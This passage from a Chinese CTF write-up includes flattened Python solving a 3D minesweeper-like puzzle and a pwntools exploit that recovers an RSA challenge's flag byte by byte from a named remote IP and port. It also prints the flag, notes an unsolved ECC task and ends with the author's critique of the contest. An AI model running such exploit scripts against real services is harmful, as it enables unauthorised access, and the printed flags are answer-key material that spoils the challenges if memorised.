temp_data[i][j][k] == -1: if flag_list[i][j][k] == 0: if check(i,j,k): temp_data[i][j][k] = 0 if check(i,j,k+1): temp_data[i][j][k+1] = 0 if check(i,j+1,k): temp_data[i][j+1][k] = 0 if check(i+1,j,k): temp_data[i+1][j][k] = 0 if check(i,j,k-1): temp_data[i][j][k-1] = 0 if check(i,j-1,k): temp_data[i][j-1][k] = 0 if check(i-1,j,k): temp_data[i-1][j][k] = 0 elif flag_list[i][j][k] == 8: if check(i,j,k): temp_data[i][j][k] = 1 if check(i,j,k+1): temp_data[i][j][k+1] = 1 if check(i,j+1,k): temp_data[i][j+1][k] = 1 if check(i+1,j,k): temp_data[i+1][j][k] = 1 if check(i,j,k-1): temp_data[i][j][k-1] = 1 if check(i,j-1,k): temp_data[i][j-1][k] = 1 if check(i-1,j,k): temp_data[i-1][j][k] = 1 elif flag_list[i][j][k] == 1: if check(i,j,k): temp_data[i][j][k] = 0 elif flag_list[i][j][k] == 7: if check(i,j,k): temp_data[i][j][k] = 1 for _ in range(10): for i in xrange(8): for j in xrange(8): for k in xrange(8): if temp_data[i][j][k] == -1: sidenum = 0 num0 = 0 num1 = 0 side1 = -1 if test_value(i, j, k+1): sidenum += 1 if temp_data[i][j][k+1] == 0: num0 += 1 if temp_data[i][j][k+1] == 1: num1 += 1 if test_value(i, j+1, k): sidenum += 1 if temp_data[i][j+1][k] == 0: num0 += 1 if temp_data[i][j+1][k] == 1: num1 += 1 if test_value(i+1, j, k): sidenum += 1 if temp_data[i+1][j][k] == 0: num0 += 1 if temp_data[i+1][j][k] == 1: num1 += 1 if test_value(i, j, k-1): sidenum += 1 if temp_data[i][j][k-1] == 0: num0 += 1 if temp_data[i][j][k-1] == 1: num1 += 1 if test_value(i, j-1, k): sidenum += 1 if temp_data[i][j-1][k] == 0: num0 += 1 if temp_data[i][j-1][k] == 1: num1 += 1 if test_value(i-1, j, k): sidenum += 1 if temp_data[i-1][j][k] == 0: num0 += 1 if temp_data[i-1][j][k] == 1: num1 += 1 if (flag_list[i][j][k] > sidenum-num0): temp_data[i][j][k] = 1 side1 = flag_list[i][j][k]-2 if (flag_list[i][j][k] <= num1): temp_data[i][j][k] = 0 side1 = flag_list[i][j][k] if side1 != -1: if sidenum-num0 == side1: if check(i, j, k+1): temp_data[i][j][k+1] = 1 if check(i, j+1, k): temp_data[i][j+1][k] = 1 if check(i+1, j, k): temp_data[i+1][j][k] = 1 if check(i, j, k-1): temp_data[i][j][k-1] = 1 if check(i, j-1, k): temp_data[i][j-1][k] = 1 if check(i-1, j, k): temp_data[i-1][j][k] = 1 if side1 == num1: if check(i, j, k+1): temp_data[i][j][k+1] = 0 if check(i, j+1, k): temp_data[i][j+1][k] = 0 if check(i+1, j, k): temp_data[i+1][j][k] = 0 if check(i, j, k-1): temp_data[i][j][k-1] = 0 if check(i, j-1, k): temp_data[i][j-1][k] = 0 if check(i-1, j, k): temp_data[i-1][j][k] = 0 status = 1 flag_result = "" for i in find_l: tmp = 0 for k in range(8): val = temp_data[i / 8][y % 8][k] if val == -1: val = 0 status = 0 tmp += val<Crypto-rsa system
题目信息
Flag:
flag{116107e92518781a2b64ec2072d3f73e}
提示
1. nc 123.59.138.211 23333
2. Download解题思路
直接贴exp吧,反正我也看不懂2333
#encoding=utf-8 from pwn import * from time import sleep # context.log_level='debug' ip='123.59.138.211' # ip='127.0.0.1' ppp=[99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63] n = 0xBACA954B2835186EEE1DAC2EF38D7E11582127FB9E6107CCAFE854AE311C07ACDE3AAC8F0226E1435D53F03DC9CE6701CF9407C77CA9EE8B5C0DEE300B11DD4D6DC33AC50CA9628A7FB3928943F90738BF6F5EC39F786D1E6AD565EB6E0F1F92ED3227658FDC7C3AE0D4017941E1D5B27DB0F12AE1B54664FD820736235DA626F0D6F97859E5969902088538CF70A0E8B833CE1896AE91FB62852422B8C29941903A6CF4A70DF2ACA1D5161E01CECFE3AD80041B2EE0ACEAA69C793D6DCCC408519A8C718148CF897ACB24FADD8485588B50F39BCC0BBF2BF7AD56A51CB3963F1EB83D2159E715C773A1CB5ACC05B95D2253EEFC3CCC1083A5EF279AF06BB92F e = 0x10001 def str2int(s): return int(s.encode('hex'), 16) def s1(fff): p.recvuntil('choice :\n') p.sendline('1') p.recvuntil('):') p.sendline(fff) def s2(): p.recvuntil('choice :\n') p.sendline('2') p.recvuntil('is : ') t=p.recvline() # print('t',t.replace('\n','')) return t flag="f" for i in range(2,39): p=remote(ip, 23333) # p.interactive() s1(chr(256-i)*218) s1('') c=s2() m=[chr(256-i) for tm in range(256)] for l in range(len(flag)): m[ppp[l]]=flag[l] for jj in range(0,256): m[ppp[i-1]]=chr(jj) kkk="" for mm in m: kkk+=mm kkk=str2int(kkk) if(pow(kkk,e,n)==int(c,16)): flag+=chr(jj) print(flag) break p.close()Crypto-advanced ecc
题目信息
Flag:
flag{}
提示
1. nc 123.59.138.211 34545
2. Download解题思路
未解出
赛后感悟
相比上次强网杯,平台支撑好了很多。然而题目略坑。
Misc感觉纯粹是为了出题而出题。放一份源代码不知道误导了多少人。至少提示中应该说明与代码审计无关,然而提示里什么也没说。
Web根本没有什么实战意义,upload无过滤上传,biubiubiu题目环境部署问题,导致出现非预期解,进而导致难度大幅度降低,shop log这题想吐槽到死的md5前6位的验证码,比谁机器好的游戏么?这在实战当中基本都是不可能存在的东西。
Crypto,Reverse,PWN不怎么会,不过听做题的小伙伴说这些题目还好。
题目比例上,Misc 4题,Web 4题,Crypto 3题,PWN 3题,Reverse 3题,比上次强网杯PWN爸爸吊打全场好多了。
总体来说赛题水平一般,应该是截至目前为止(2018-05-01)公开比赛里比较简单的那类了,期待明年的红帽杯能有更好更优秀的题目出现